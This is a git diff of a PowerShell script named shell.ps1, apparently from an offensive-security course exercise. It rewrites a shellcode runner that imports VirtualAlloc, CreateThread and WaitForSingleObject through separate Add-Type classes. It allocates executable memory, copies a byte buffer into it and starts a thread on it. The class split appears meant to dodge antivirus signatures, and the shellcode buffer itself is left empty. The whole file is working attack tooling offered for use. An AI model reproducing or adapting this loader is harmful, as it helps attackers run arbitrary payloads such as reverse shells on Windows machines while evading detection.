diff --git a/8/shell.ps1 b/8/shell.ps1 index 512c233..ce83413 100644 --- a/8/shell.ps1 +++ b/8/shell.ps1 @@ -1,18 +1,42 @@ -[Byte[]] $buf = -Add-Type @" -public class Win -{ +$Buf = +$VrtAlloc = @" +using System; +using System.Runtime.InteropServices; + +public class VrtAlloc{ [DllImport("kernel32")] - public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); - - [DllImport("kernel32.dll", SetLastError=true)] - public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); - - [DllImport("kernel32", CharSet=CharSet.Ansi)] - public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); } "@ -[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40) + +Add-Type $VrtAlloc + +$WaitFor= @" +using System; +using System.Runtime.InteropServices; + +public class WaitFor{ + [DllImport("kernel32.dll", SetLastError=true)] + public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); +} +"@ + +Add-Type $WaitFor + +$CrtThread= @" +using System; +using System.Runtime.InteropServices; + +public class CrtThread{ + [DllImport("kernel32", CharSet=CharSet.Ansi)] + public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + +} +"@ +Add-Type $CrtThread + +[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length) -$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0) -[Win]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF") +$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0) +[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF") +